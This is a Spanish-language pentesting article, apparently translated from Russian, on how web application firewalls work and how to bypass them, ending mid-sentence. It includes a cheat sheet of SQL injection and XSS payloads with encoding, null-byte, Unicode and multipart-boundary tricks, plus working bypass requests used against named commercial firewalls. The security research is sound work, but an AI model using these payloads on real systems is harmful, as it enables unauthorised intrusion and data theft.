
Hoy vamos a hablar sobre uno de los mecanismos de seguridad modernos para aplicaciones web, a saber, Web Application Firewall (WAF). Analizaremos los WAF modernos y en qué se basan, así como las técnicas de derivación, cómo usarlos y por qué nunca debe confiar completamente en WAF. Estamos hablando desde la perspectiva de los pentesters; nunca desarrollamos WAF y solo recopilamos datos de fuentes abiertas. Por lo tanto, solo podemos referirnos a nuestra propia experiencia y podemos desconocer algunas peculiaridades de los WAF.
Descargo de responsabilidad: esta es una traducción del artículo del ruso al inglés, el artículo fue lanzado a fines de 2017, respectivamente, alguna información podría quedar desactualizada.Contenido
- Introduccion
- El moderno WAF
- Identificando WAF
- Hoja de trucos de bypass WAF
- WAF bypass en la práctica
- Conclusión
Si sabe por qué se utilizan WAF y cómo funcionan, puede saltar directamente a la sección de derivación.Introduccion
Los WAF se han vuelto muy populares recientemente. Los proveedores ofrecen varias soluciones en diferentes rangos de precios, kits de distribución y opciones, dirigidos a diferentes clientes, desde pequeñas empresas hasta grandes empresas. Los WAF son populares porque son una solución compleja para proteger aplicaciones web, que cubre todo un espectro de tareas. Es por eso que los desarrolladores de aplicaciones web pueden confiar en WAF en algunos aspectos de seguridad. Aunque, los WAF no pueden otorgar seguridad total.

Entonces, ¿de qué debe ser capaz un WAF para justificar su implementación en un proyecto? Su función principal es detectar y bloquear cualquier solicitud que, según el análisis de WAF, tenga alguna anomalía o un vector de ataque. El análisis no debe obstaculizar la interacción entre usuarios legítimos y la aplicación web, al mismo tiempo, debe detectar de manera precisa y oportuna cualquier intento de ataque. Para implementar dicha funcionalidad, los desarrolladores de WAF utilizan expresiones regulares, tokenizadores, análisis de comportamiento, análisis de reputación y, por supuesto, aprendizaje automático. A menudo, todas estas tecnologías se usan juntas. WAF también puede implementar otras funciones: protección DDoS, prohibición de las IP de los atacantes, monitoreo de IP sospechosas, agregar encabezados de seguridad (X-XSS-Protection, X-Frame-Options, etc.), agregar banderas de solo http a la cookie, implementación de El mecanismo HSTS y los tokens CSRF. Además, algunos WAF tienen módulos del lado del cliente JavaScript para sitios web.
Por supuesto, los WAF crean algunos obstáculos para los hackers y pentesters. WAF hace que la búsqueda y explotación de vulnerabilidades sea más intensiva en recursos (excepto si el atacante conoce métodos efectivos de omisión de 0 días para un WAF específico). Los escáneres automáticos son prácticamente inútiles al analizar aplicaciones web protegidas por WAF. WAF es una protección confiable contra "scriptkiddies". Sin embargo, un hacker experimentado o un investigador sin suficiente motivación probablemente no querría perder el tiempo tratando de encontrar formas de evitarlo. Cabe señalar que cuanto más compleja es la aplicación web, mayor es su superficie de ataque y más fácil es encontrar un método de derivación.
En nuestras auditorías recientes, a menudo encontramos diferentes WAF. Hablaremos de algunos de ellos más tarde. Ya hemos probado dos WAF patentados en dos escenarios principales:
- Sabemos que hay una cierta vulnerabilidad en una aplicación web y tratamos de evitar el WAF para explotarla;
- No conocemos ninguna vulnerabilidad, por lo que debemos encontrar una a pesar del WAF y luego explotarla sin pasar por WAF.
Pero primero, echemos un vistazo más de cerca a los mecanismos básicos detrás de WAF y veamos qué problemas tienen.
El moderno WAF
Para poder encontrar efectivamente varias formas de evitar WAF, primero, necesitamos encontrar mecanismos modernos de clasificación de solicitudes. Cada WAF es específico y está construido de manera única, pero existen algunos métodos generales de análisis. Echemos un vistazo a esos.

Reglas basadas en expresiones regulares
La mayoría de los WAF existentes usan reglas basadas en expresiones regulares. El desarrollador investiga un cierto conjunto de ataques conocidos para identificar estructuras sintácticas clave que podrían apuntar a un ataque. En base a estos datos, el desarrollador crea expresiones regulares que encuentran tales estructuras sintácticas. Suena simple, pero este método tiene ciertos inconvenientes. Primero, una expresión regular se puede aplicar a una sola solicitud, o incluso a un solo parámetro de solicitud, lo que obviamente reduce la eficiencia de tales reglas y deja algunos puntos ciegos. En segundo lugar, la sintaxis de las expresiones regulares y la lógica compleja de los protocolos de texto, que permite el reemplazo de estructuras equivalentes y el uso de diferentes representaciones de símbolos, generan errores al crear estas reglas.
Construcción de puntajes
Aquellos que saben cómo funcionan los firewalls y los antivirus de la red deben estar familiarizados con este mecanismo. No detecta ataques, pero complementa otros mecanismos haciéndolos más precisos y flexibles. La cuestión es que una estructura "sospechosa" en una solicitud no es una condición suficiente para detectar un ataque y puede generar muchos falsos positivos. Este problema se resuelve implementando un sistema de calificación. Cada regla basada en expresiones regulares se complementa con la información sobre su criticidad; Después de identificar todas las reglas activadas, se resume su criticidad. Si la criticidad total alcanza el valor umbral, se detecta el ataque y se bloquea la solicitud. A pesar de su simplicidad, este mecanismo demostró ser eficiente y es ampliamente utilizado para tales tareas.
Tokenizadores
Este método de detección se presentó en Black Hat 2012 como una biblioteca de C / C +
libinjection , que permite identificar inyecciones SQL rápidamente y con precisión. En este momento, hay muchos puertos de libinjection para diferentes lenguajes de programación, como PHP, Lua, Python, etc. Este mecanismo busca firmas presentadas como un conjunto de tokens. Un cierto número de firmas está en la lista negra, y se consideran no deseadas y maliciosas. En otras palabras, antes de analizar alguna solicitud, se traduce en un conjunto de tokens. Los tokens se dividen en ciertos tipos, como variable, cadena, operador regular, desconocido, número, comentario, operador tipo unión, función, coma, etc. Una de las principales desventajas del método es que es posible construir una estructura que conduzca a la formación incorrecta de tokens, por lo tanto, la firma de la solicitud será diferente de la esperada. Estas estructuras generalmente se denominan rompe fichas, y las discutiremos más adelante
Análisis de comportamiento.
Detectar y bloquear los intentos de explotación en las solicitudes no es la única tarea para los WAF. También es importante identificar el proceso de búsqueda de vulnerabilidades y el WAF debe reaccionar en consecuencia. Puede manifestarse como intentos de escaneo, fuerza bruta de directorio, borrado de parámetros y otros métodos automáticos. Los WAF avanzados pueden crear cadenas de solicitudes típicas para el comportamiento normal normal y bloquear los intentos de enviar solicitudes inusuales. Este método no detecta tanto los ataques, ya que dificulta el proceso de búsqueda de vulnerabilidades. Limitar el número de solicitudes por minuto no afectaría a un usuario habitual, pero sería un serio obstáculo para los escáneres, que funcionan en múltiples hilos.
Análisis de reputación
Este es otro mecanismo heredado directamente de firewalls y antivirus. Hoy en día, casi cualquier WAF incluye listas de direcciones de VPN, anonimizadores, nodos Tor y botnets para bloquear las solicitudes de esos. Los WAF avanzados pueden actualizar automáticamente sus bases y complementarlas con entradas adicionales basadas en el tráfico analizado.
Aprendizaje automático
Este es uno de los aspectos más cuestionables de WAF. Tengamos en cuenta que el término "aprendizaje automático" es bastante amplio e incluye muchas tecnologías y métodos. Además, es solo una de las clases de la IA. La "implementación" del aprendizaje automático o el "uso de la IA" son frases de marketing muy populares. No siempre está claro qué algoritmos se usan exactamente, y a veces parece un simple galimatías. Los proveedores que realmente usan el aprendizaje automático y lo hacen de manera efectiva no están dispuestos a compartir su experiencia. Eso dificulta que un extraño intente resolver la situación. Sin embargo, tratemos de hacer algunos puntos basados en la información disponible.
Primero, el aprendizaje automático depende completamente de los datos en los que se formó, lo que plantea un cierto problema. Un desarrollador debe tener una base de ataques actualizada y completa, lo cual es difícil de lograr. Es por eso que muchos desarrolladores registran minuciosamente los resultados de sus WAF y cooperan con los proveedores que proporcionan sistemas IDS y SIEM para obtener ejemplos de ataques del mundo real. Segundo, un modelo entrenado en una aplicación web abstracta puede resultar completamente ineficaz en una aplicación web real. Para obtener una mejor calidad, se recomienda capacitar adicionalmente un modelo en la etapa de implementación, que requiere muchos recursos y mucho tiempo, y aún así no otorga los mejores resultados.
Identificando WAF
Los desarrolladores de WAF utilizan diferentes formas de notificar al usuario que la solicitud fue bloqueada. Por lo tanto, podemos identificar el WAF analizando la respuesta a nuestra solicitud de ataque. Esto generalmente se conoce como huella digital WAF. Las huellas digitales pueden ayudar si un WAF no se actualiza por alguna razón (se aplica principalmente a proyectos de código abierto). Los desarrolladores de WAF propietarios se preocupan por sus clientes e implementan actualizaciones automáticas. Además, una vez que hemos identificado el WAF, que resultó ser actualizado, aún podemos usar la información sobre él para aprender algo sobre su lógica.
Aquí hay una lista de posibles huellas digitales WAF:
- Cookies adicionales
- Encabezados adicionales a cualquier respuesta o solicitud
- Contenido de la respuesta (en caso de solicitud bloqueada)
- Código de respuesta (en caso de solicitud bloqueada)
- Dirección IP (Cloud WAF)
- Módulo del lado del cliente JS (WAF del lado del cliente)
Vamos a ilustrarlo con algunos ejemplos.
PT AFCódigo de respuesta para solicitud bloqueada: 403
Puede insertar el módulo de cliente waf.js en la página de respuesta
Cuerpo de la respuesta:
<h1>Forbidden</h1> <pre>Request ID: 2017-07-31-13-59-56-72BCA33A11EC3784</pre>
Un encabezado adicional que agrega waf.js:
X-RequestId: cbb8ff9a-4e91-48b4-8ce6-1beddc197a30
Nemesida wafCódigo de respuesta para solicitud bloqueada: 403
Cuerpo de la respuesta:
<p style="font-size: 16px; align: center;"> Suspicious activity detected. Access to the site is blocked. If you think that is's an erroneous blocking, please email us at <a href="mailto:nwaf@pentestit.ru">nwaf@pentestit.ru</a> and specify your IP-address. </p>
WallarmCódigo de respuesta para solicitud bloqueada: 403
Encabezado adicional: nginx-wallarm
Citrix NetScaler AppFirewallCookie adicional:
ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000; ns_af_.target.br_%2F_wat=QVNQU0VTU0lP TklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA
Mod_Security ver. 2.9Código de respuesta para solicitud bloqueada: 403
Cuerpo de respuesta:
<head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /form.php on this server.<br /></p>
Mod_Security ver. <2.9Código de respuesta para solicitud bloqueada: 406 o 501
En el cuerpo de respuesta, puede encontrar mod_security, Mod_Security o NOYB
Barniz cortafuegosAgrega los siguientes encabezados a la respuesta:
X-Varnish: 127936309 131303037. X-Varnish: 435491096 Via: 1.1 varnish-v4
Los desarrolladores de WAF deciden ellos mismos qué código de respuesta devolver en caso de una solicitud bloqueada; También hay algunos códigos específicos. Por ejemplo, Web_Knight WAF devuelve el código 999 y dotDefender devuelve el código 200 con un cuerpo de respuesta vacío o con un mensaje de error. Además de eso, los desarrolladores pueden hacer una página de respuesta personalizada con algún otro contenido.
WAF, como cualquier otra aplicación, evoluciona y cambia. Por eso es importante verificar constantemente la relevancia de las huellas digitales que tiene.
WAF bypass hoja de trucos
La idea general detrás de encontrar formas de evitar WAF es transformar la solicitud que necesitamos para que siga siendo válida para la aplicación web pero no para WAF o parezca inofensiva. Es importante que un tipo de WAF pueda servir muchos tipos diferentes de servidores, incluidos los "exóticos", como Unicorn, Tornado, Weblogic, Lighttpd, etc. Cada servidor puede percibir casos exclusivos de análisis de solicitudes HTTP de una manera diferente, que WAF también debe considerar. Por lo tanto, un atacante puede usar las especificaciones de los servidores del análisis de solicitudes HTTP para encontrar una manera de evitar el WAF.

Es difícil clasificar todas las formas posibles de eludir WAF, ya sea por los mecanismos de seguridad de WAF o por el campo de uso. Las mismas formas de derivación pueden interactuar y afectar simultáneamente diferentes componentes de un WAF. Las técnicas que se describen a continuación se obtuvieron de fuentes abiertas o se descubrieron durante nuestra propia investigación y demostraron estar entre las más efectivas.
Agregar símbolos especiales
Varios símbolos especiales pueden violar la lógica de análisis de un WAF y al mismo tiempo ser válidos interpretados por el servidor. Las variaciones de estos símbolos pueden ser diferentes: pueden transformarse en código urlen (aunque la mayoría de los WAF pueden manejar eso) u otras codificaciones. También es posible insertar símbolos especiales en una solicitud sin ninguna codificación, en formato sin formato, lo que puede ser una sorpresa para un WAF. Por ejemplo,
\ r \ n \ r \ n en esta presentación puede percibirse como el final de un cuerpo de solicitud HTTP, y un byte nulo puede violar la lógica de análisis de expresiones regulares y analizadores de datos por completo. Además, otros símbolos especiales de los primeros veinte símbolos de la tabla ASCII pueden ser útiles.
Ejemplos:
- 0x00 - Byte nulo;
- 0x0D - retorno de carro;
- 0x0A: avance de línea;
- 0x0B - Pestaña vertical;
- 0x09 - Pestaña horizontal;
- 0x0C - Nueva página
Mientras busca un bypass, es útil insertar símbolos especiales en diferentes lugares en el cuerpo de la solicitud y no solo en los valores de los parámetros. Por ejemplo, si una solicitud está en formato JSON, podemos insertar un byte NULO tanto en un parámetro como entre parámetros, tanto al principio como al final de JSON. Lo mismo se aplica a otros formatos del cuerpo de una solicitud POST. En general, recomendamos investigar y divertirse, buscar lugares que WAF pueda monitorear y analizar e intentar usar diferentes símbolos especiales allí.
Por ejemplo:
{"id":1337,"string0x00":"test' or sleep(9)#"} {"id":1337,"string":"test'/*0x00*/ or sleep(9)#"} {"id":1337,"string"0x0A0x0D:"test' or sleep(9)#"}
<a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> <a 0x00 href="javascript:alert(1)">clickme</a> <svg/0x00/onload="alert(1)">
id=13371 UNION SELECT version(), user()
Para mayor claridad, hemos reemplazado símbolos especiales con su presentación hexadecimal.Sustitución de símbolos espaciales
En la mayoría de las sintaxis, las palabras clave y los operadores deben separarse, pero los símbolos de espacio preferibles no se especifican. Por lo tanto, en lugar del
0x20 común (Espacio), puede usar
0x0B (Pestaña vertical) o
0x09 (pestaña Horizontal). Reemplazar espacios con estructuras divisorias sin su propio significado cae en la misma categoría. En SQL, es
/ ** / (comentarios SQL de varias líneas),
# \ r \ n (comentario SQL de una línea, que finaliza con avance de línea),
- \ r \ n (comentario SQL alternativo de una línea, finalizando con avance de línea). Aquí hay algunos ejemplos:
http://test.com/test?id=1%09union/**/select/**/1,2,3 http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Además, podemos transformar una expresión para eliminar espacios utilizando la sintaxis del lenguaje. Por ejemplo, en SQL, podemos usar paréntesis:
UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))
Y en JS, use
/ :
<svg/onload=confirm(1)>
Cambiar codificación
Este método se basa en el uso de diferentes codificaciones para evitar que WAF decodifique datos en ciertos lugares. Por ejemplo, si un símbolo se reemplaza con su código URL, WAF no podrá comprender que tiene que decodificar datos y pasará la solicitud. Al mismo tiempo, la aplicación web aceptará y decodificará con éxito el mismo parámetro.
La forma decimal de un símbolo HTML es
& # 106 o
& # 0000106 .WAF puede conocer la versión corta y no conocer la versión con ceros adicionales (no debe haber más de 7 símbolos en total). Del mismo modo, la forma hexadecimal de un símbolo HTML es
& # x6A o
& # x000006A .
También hay un truco con caracteres de escape con una barra invertida
\ , por ejemplo:
<svg/on\load=a\lert(1)>
Sin embargo, depende de cómo una aplicación web procese dichos datos de entrada. Entonces, la secuencia
\ l será procesada como una
l y transformada en un solo símbolo; WAF puede procesar cada símbolo por separado y puede romper expresiones regulares u otra lógica WAF. Por lo tanto, WAF perderá las palabras clave. Con esta técnica no podemos escapar de los caracteres
\ n ,
\ r ,
\ t , ya que se transformarán en caracteres diferentes: nueva línea, retorno de carro y tabulación.
La codificación HTML se puede usar dentro de los atributos de la etiqueta, por ejemplo:
<a href="javascript:alert(1)">clickme</a> <input/onmouseover="javascript:confirm(1rpar;">
Estos caracteres se pueden reemplazar fácilmente por otras representaciones HTML de los caracteres de destino. Puedes buscar diferentes transformaciones de personajes
aquí .
Además de la codificación HTML, podemos insertar caracteres con
\ u :
<a href="javascript:\u0061lert(1)">Clickme</a> <svg onload=confir\u006d(1)>
Veamos también el vector relacionado con la inserción de caracteres especiales. Rompamos la carga útil con codificación HTML:
<a href="ja	vas
cript:alert(1)">clickme</a>
En este caso, también podemos colocar otros caracteres de separación.
Por lo tanto, recomendamos combinar diferentes codificaciones con otros métodos, por ejemplo, para codificar caracteres especiales.
Buscar estructuras sintácticas equivalentes atípicas
Este método tiene como objetivo encontrar una forma de explotación no considerada por los desarrolladores de WAF, o un vector que no estaba presente en la muestra de capacitación de aprendizaje automático. Ejemplos simples serían funciones de JavaScript:
this, top self, parent, frames; atributos de etiqueta:
enlace de datos, ontoggle, onfilterchange, onbeforescriptexecute, onpointerover, srcdoc; y operadores SQL:
lpad, campo, bit_count .
Aquí hay algunos ejemplos:
<script>window['alert'](0)</script> <script>parent['alert'](1)</script> <script>self['alert'](2)</script>
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
También puede usar la representación no simbólica de expresiones JavaScript:
Un problema obvio con eso son las largas cargas útiles.
La omisión de WAF con esta técnica depende del ataque y la pila de tecnologías explotadas. El famoso exploit ImageTragick es un buen ejemplo de eso. La mayoría de los WAF que protegen de este ataque tenían palabras clave en la lista negra como
url ,
capacidad y
etiqueta, ya que esas palabras se mencionaron en la mayoría de los documentos y PoC que describen esta vulnerabilidad. Aunque pronto se reveló que también se pueden usar otras palabras clave, por ejemplo,
efímero y
pango . Como resultado, los WAF podrían evitarse con el uso de estas palabras clave.
Contaminación de parámetros HTTP (HPP) y fragmentación de parámetros HTTP (HPF)
El ataque HPP se basa en cómo un servidor interpreta los parámetros con los mismos nombres. Aquí hay algunos posibles desvíos:
- El servidor usa el último parámetro recibido, y WAF verifica solo el primero;
- El servidor une el valor de parámetros similares, y WAF los verifica por separado.
Puede comparar cómo diferentes servidores procesan los mismos parámetros en la tabla a continuación:

A su vez, el ataque de HPF se basa en un principio diferente. Si la lógica de una aplicación web une dos y más parámetros en una solicitud, el adversario puede dividir la solicitud para evitar ciertas comprobaciones WAF.
La siguiente inyección SQL es un ejemplo de tal ataque:
http://test.com/url?a=1+select&b=1+from&c=base
HPF y HPP son muy similares, pero el primero apunta a una aplicación web y el segundo al entorno en el que opera. La combinación de estas técnicas aumenta la posibilidad de evitar un WAF.
Normalización Unicode
La normalización Unicode es una característica de Unicode destinada a comparar símbolos Unicode que se parecen. Por ejemplo, los símbolos
'ª' y
'ᵃ' tienen códigos diferentes pero, de lo contrario, son muy similares, por lo que después de la normalización, ambos se verán como una simple
'a' y se considerarán iguales. La normalización permite transformar algunos símbolos Unicode complejos en sus alternativas más simples. Hay una
tabla de normalización Unicode con todos los símbolos Unicode y sus posibles normalizaciones. Al usarlo, puede hacer diferentes cargas útiles y combinarlas con otros métodos. Sin embargo, no funciona para todas las aplicaciones web y depende mucho del entorno.
Por ejemplo, en la tabla anterior, podemos ver que los símbolos
<
y
﹤
transforman en simple
<
. Si una aplicación usa codificación HTML después de la normalización, lo más probable es que el símbolo normalizado
<
se codifique en
<
. Pero, en otros casos, los desarrolladores pueden haber pasado por alto esta característica y no codificar símbolos Unicode. Por lo tanto, obtenemos símbolos
< y
> no codificados en HTML, que pueden convertirse en ataques XSS. WAF puede tener problemas para comprender los símbolos de Unicode; es posible que simplemente no tenga reglas para tales trucos, y el aprendizaje automático también puede ser inútil. Al encontrar un bypass en las aplicaciones web con normalización Unicode, podemos reemplazar no solo
<> sino también otros símbolos de la carga útil.
Por ejemplo:
<img src﹦x onerror=alert︵1)>
Recientemente, este problema se encontró en el programa Rockstar BugBounty en HackerOne. No había WAF, solo un estricto filtrado de entrada del usuario:
hackerone.com/reports/231444hackerone.com/reports/231389Rompedores de fichas
Los ataques a los tokenizadores intentan romper la lógica de dividir una solicitud en tokens con la ayuda de los llamados rompedores de tokens. Los interruptores de fichas son símbolos que permiten afectar la correspondencia entre un elemento de una cadena y una determinada ficha y, por lo tanto, omiten la búsqueda por firma. Pero cuando se utiliza el interruptor de token, la solicitud debe seguir siendo válida. La siguiente solicitud es un ejemplo de un ataque utilizando un interruptor de fichas
SELECT-@1,version()
donde
- @ es el interruptor de fichas.
Hay una
hoja de chear que fue adquirida por mysql borrando y verificando los resultados en libinjection.
Más sobre cómo encontrar problemas en libinjection:
Otro fuzzerFuzz para evitarCómo evitar la libinyecciónUsando las características de RFC
En las especificaciones para el protocolo HTTP / 1.1 y varios tipos de solicitud (por ejemplo, multipart / form-data), podemos encontrar algunas cosas curiosas relacionadas con los casos límite y trucos de procesamiento de encabezados y parámetros. Los desarrolladores de WAF a menudo no consideran tales problemas, por lo tanto, un WAF puede analizar una solicitud de forma incorrecta y perder la parte de los datos, donde se oculta un vector de ataque. La mayoría de los problemas en WAF están relacionados con el procesamiento de datos multiparte / formulario y valores específicos del parámetro límite, que especifica los límites del parámetro en tales solicitudes. Además de eso, los desarrolladores de servidores también pueden equivocarse y no admitir las especificaciones por completo, por lo que puede haber características no documentadas en el analizador HTTP de un servidor.
En una solicitud HTTP con datos multiparte / formulario, el límite de parámetro se encarga de la segregación de diferentes parámetros en el cuerpo de una solicitud. Según el RFC, se debe colocar un límite previamente especificado con un prefijo que contenga "-" antes de cada nuevo parámetro POST, para que el servidor pueda discriminar los diferentes parámetros de una solicitud.
POST /vuln.php HTTP/1.1 Host: test.com Connection: close Content-Type: multipart/form-data; boundary=1049989664 Content-Length: 192 --1049989664 Content-Disposition: form-data; name="id" 287356 --1049989664--
El ataque también puede basarse en el hecho de que un servidor y un WAF manejan de manera diferente una situación en la que el límite se deja vacío. Según el RFC, en este caso, "-" es el límite entre los parámetros. Sin embargo, un WAF puede usar un analizador que no lo tenga en cuenta y, como resultado, el WAF pasará la solicitud porque los datos de los parámetros de una solicitud POST no aparecerían en el analizador. El servidor web puede analizar dicha solicitud sin problemas y entregar los datos para su posterior procesamiento.
Aquí hay algunos ejemplos más interesantes.
POST /vuln.php HTTP/1.1 Host: test.com Connection: close Content-Type: multipart/form-data; boundary= Content-Length: 192 -- Content-Disposition: form-data; name="id" 123' or sleep(20)# ----
Le daremos algunos ejemplos más interesantes de
diapositivas de
Bo0oM en ZeroNights 2016 y lo explicaremos:
POST /vuln.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; boundary=FIRST; Content-Type: multipart/form-data; boundary=SECOND; Content-Type: multipart/form-data; boundary=THIRD; --THIRD Content-Disposition: form-data; name=param UNION SELECT version() --THIRD--
En este ataque, estamos tratando de definir cuál de los parámetros de límite será aceptado por el WAF y cuál por el servidor web. Por lo tanto, si aceptan diferentes parámetros, es posible realizar un ataque especificando un límite que el WAF no verá. Este ataque es algo parecido a HPP.
POST /vuln.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; xxxboundaryxxx=FIRST; boundary=SECOND; --FIRST Content-Disposition: form-data; name=param UNION SELECT version() --FIRST--
Este ataque se basa en el supuesto de que existe una diferencia en el análisis de una solicitud HTTP por parte de WAF y del servidor web. A saber, el analizador del servidor web busca la primera entrada 'límite', y luego el símbolo '=', y solo después de eso define el valor del límite. El analizador WAF, a su vez, solo busca la entrada "boundary =" y luego define el límite. Si se cumplen estas condiciones, el WAF no encontrará el límite en la solicitud y, por lo tanto, no podrá encontrar ni analizar el parámetro. Por el contrario, el servidor web obtendrá la solicitud y procesará el parámetro. Este ataque también funcionará al revés: el analizador del servidor web busca "límite =", y el analizador WAF busca solo "límite". En este caso, solo tendremos que cambiar el límite real de PRIMERO a SEGUNDO.
POST /somepage.php HTTP/1.1 Host: test.com Content-Type: multipart/form-data; boundary=Test0x00othertext; --Test Content-Disposition: form-data; name=param Attack --Test--
Este ataque también usa caracteres especiales. En el parámetro de límite, agregamos NULL-byte para que el servidor web lo corte, pero el WAF lo acepte por completo. En este caso, WAF no puede analizar el parámetro porque no puede encontrar sus límites.
Sin pasar por el aprendizaje automático
La lógica es simple: tenemos que componer un ataque que satisfaga los parámetros del modelo estadístico entrenado. Pero eso depende en gran medida de cómo se formó el WAF y qué modelo de capacitación se usó. A veces es posible encontrar una escapatoria, y a veces no. Por lo general, en la etapa de implementación, un WAF con aprendizaje automático necesita capacitación adicional basada en la solicitud de la aplicación web del cliente. Eso plantea un problema para los pentesters: los parámetros que se parecen y no cambian mucho de una solicitud a otra no se pueden probar, ya que cualquier digresión del formato de parámetro habitual se consideraría una anomalía. Supongamos que tiene una solicitud para
api.test.com/getuser?id=123 . La identificación del parámetro siempre es numérica, y fue numérica en la muestra de entrenamiento. Si el módulo de aprendizaje automático encuentra algo más que números en este parámetro, lo más probable es que decida que es una anomalía. Otro ejemplo: suponga que WAF fue entrenado para clasificar la solicitud POST en
api.test.com/setMarkDown con parámetros POST que tienen texto de reducción. Obviamente, puede haber comillas, símbolos especiales y básicamente cualquier cosa en la rebaja. En este caso, es mucho más fácil pasar por alto el módulo de aprendizaje automático porque el WAF tolera comillas y símbolos especiales.
Además, en los ejemplos de nuestra práctica, mostraremos que no siempre llega tan lejos como el módulo de aprendizaje automático debido a los problemas con el análisis de los parámetros causados por los métodos de derivación descritos anteriormente.
En general, tenemos que considerar los detalles de una solicitud probada y sus parámetros, presumir las posibles opciones de los valores de los parámetros, que WAF puede ser tolerante, y construir sobre ellos.
Cuando WAF es inútil?
WAF analiza las solicitudes y busca comportamientos anómalos en ellas, pero hay algunas clases de vulnerabilidades que no puede descubrir. Por ejemplo, vulnerabilidades lógicas, que no tienen anomalías pero tienen algunas acciones que interrumpen la lógica de una aplicación web. Lo más probable es que WAF también sea inútil en caso de condición de carrera, IDOR y autenticación de usuario insegura.
Utilidades existentes
Existen algunas herramientas automáticas para encontrar derivaciones WAF, escritas por los entusiastas en este campo. Aquí están los más famosos y dignos:
lightbulb-framework : un marco completo para probar aplicaciones web protegidas con WAF. Está escrito en Python y adicionalmente portado como un complemento para Burp Suite. Sus características principales son estos dos algoritmos:
- GOFA: un algoritmo de aprendizaje automático activo que permite analizar la filtración y la desinfección de parámetros en una aplicación web.
- SFADiff: algoritmo de prueba de caja negra deferente, basado en el entrenamiento con autómatas finitos simbólicos (SFA). Permite encontrar diferencias en el comportamiento de las aplicaciones web, lo que ayuda a identificar WAF y encontrar un bypass.
Bypass WAF : un complemento para Burp Suite, que permite configurar el cambio automático de los elementos en el cuerpo de una solicitud de acuerdo con diferentes reglas y cambios de codificación. También puede automatizar un ataque HPP.
WAFW00F - una herramienta para la identificación WAF, escrita en Python. Tiene una base WAF decente y todavía se está actualizando. Sin embargo, los resultados pueden ser imprecisos porque muchos WAF se actualizan con más frecuencia que el proyecto en sí.
Sin pasar por waf en la práctica

Hemos estado realizando pruebas de penetración en una tienda en línea, que estaba protegida por
PT AF (firewall de aplicaciones de tecnologías positivas). Fue difícil encontrar un punto débil, que podría ser una base para un bypass. Pero pronto descubrimos un comportamiento inusual en el lado de la aplicación web, que no fue filtrada por el WAF. La anomalía se encontró en la búsqueda en la historia de los bienes comprados. La solicitud se envió en formato JSON y se veía así:
{"request":{"Count":10,"Offset":0,"ItemName":"Phone"}}
Colocamos los valores
Phone ' y
Phone' + ' en el parámetro
ItemName y descubrimos que el servidor devolvió respuestas diferentes para estas dos solicitudes. En el primer caso, la respuesta fue vacía; en el segundo caso, contenía datos sobre otros productos con la palabra
Teléfono en su nombre, como si el parámetro
ItemName tuviera
Teléfono como su valor. Este tipo de comportamiento es bien conocido entre los piratas informáticos y los pentesters y señala que la aplicación tiene un problema con la filtración de la entrada del usuario, lo que lleva a la inyección de SQL, entre otros.
Veamos por qué sucede esto con un ejemplo de inyección SQL. Si se encuentra dicho comportamiento en una aplicación web, es muy probable que los datos de una solicitud SQL estén en concatenación con la solicitud misma. En el primer caso, con
el parámetro
Phone ' , tendremos la siguiente consulta SQL:
SELECT item FROM items WHERE item_name='Phone''
Obviamente, no se ejecutará debido a una sintaxis incorrecta y no devolverá ningún resultado. La segunda solicitud, con
el parámetro
Teléfono '+' , se verá así:
SELECT item FROM items WHERE item_name='Phone'+''
Su sintaxis es correcta, por lo que seleccionará productos por el nombre
Teléfono . Este método de detección de vulnerabilidades tiene una gran ventaja al probar una aplicación web protegida por WAF. El símbolo de comillas simples no se considera una anomalía suficiente en un parámetro por la mayoría de los WAF modernos, por lo que pasan una solicitud con él.
Hemos descrito la detección de vulnerabilidades, pero ¿qué pasa con evitar WAF y explotar la vulnerabilidad? Después de pasar por algunos desvíos, encontramos un problema en el WAF. Resultó que este WAF es vulnerable a los caracteres especiales agregados a los parámetros JSON. De hecho, si agregamos símbolos JSON
0x0A, 0x0D (\ r \ n o carrige reutrn y nueva línea) en formato sin formato, sin ninguna codificación, en ningún campo de texto, el WAF lo pasaría y la aplicación web lo consideraría como ser correcto y procesarlo. Lo más probable es que el problema estuviera en el analizador JSON, que no se creó para símbolos especiales y analizó JSON justo hasta el lugar donde aparecerían estos símbolos. Por lo tanto, el analizador WAF no obtendría la solicitud completa, por lo que podríamos insertar cualquier vector de ataque después de caracteres especiales. Además del salto de línea, otros caracteres (por ejemplo, NULL-byte) también funcionarían. Como resultado, podríamos escribir la siguiente solicitud, que apagaría el WAF al intentar verificar esta solicitud (el salto de línea y el retorno de carro se reemplazaron con su representación textual):
{"request":{"kill-waf":"die0x0A0x0D", "Count":10,"Offset":0,"ItemName":["'+(SELECT 'Phone'+CHAR(ASCII(substring(@@version,1,1))-24))+'"]}}
0x0A y 0x0D son bytes sin procesar.Por lo tanto, podríamos probar fácil y rápidamente todos los parámetros para detectar vulnerabilidades (algunos de ellos se encontraron en otros parámetros). Pasar por alto WAF y explotar esta inyección nos permitió comprometer totalmente a todos los usuarios de la aplicación web.
Los mismos problemas también se encontraron en
Nemesida WAF . La única diferencia es que la solicitud no estaba en codificación JSON, pero era una solicitud POST habitual con parámetros, y un parámetro se concataba a la consulta SQL como un número. Si se colocaron algunos símbolos en una solicitud en codificación url, por ejemplo,
% 03% 04, entonces WAF bloquea una solicitud, pero si los símbolos se colocaron en forma cruda sin codificación url, WAF pasa por alto esta solicitud. Vale la pena señalar que la expresión SQL normal se colocó para solicitar, así como en WAF anterior. La expresión SQL era simple
'UNION SELECT' sin ninguna ofuscación adicional, lo que significa que WAF simplemente no podía analizar la solicitud correctamente y transmitir el análisis más adelante. Pero hay un problema: ¿cómo hacer correcta la sintaxis de consulta SQL? Porque el uso de caracteres especiales como
% 03% 04 en la consulta SQL no es correcto. La respuesta es simple: solo necesitamos usar comentarios / ** /. Entonces, la solicitud de resultado se veía así:
1 UNION SELECT version(), user()
0x03 y 0x04 son bytes sin procesar.Además, se encontró otro problema en Nemesida WAF. Estaba relacionado con el procesamiento incorrecto de solicitudes POST con datos multiparte / formulario. Como describimos a continuación, en una solicitud HTTP con datos multiparte / formulario, el
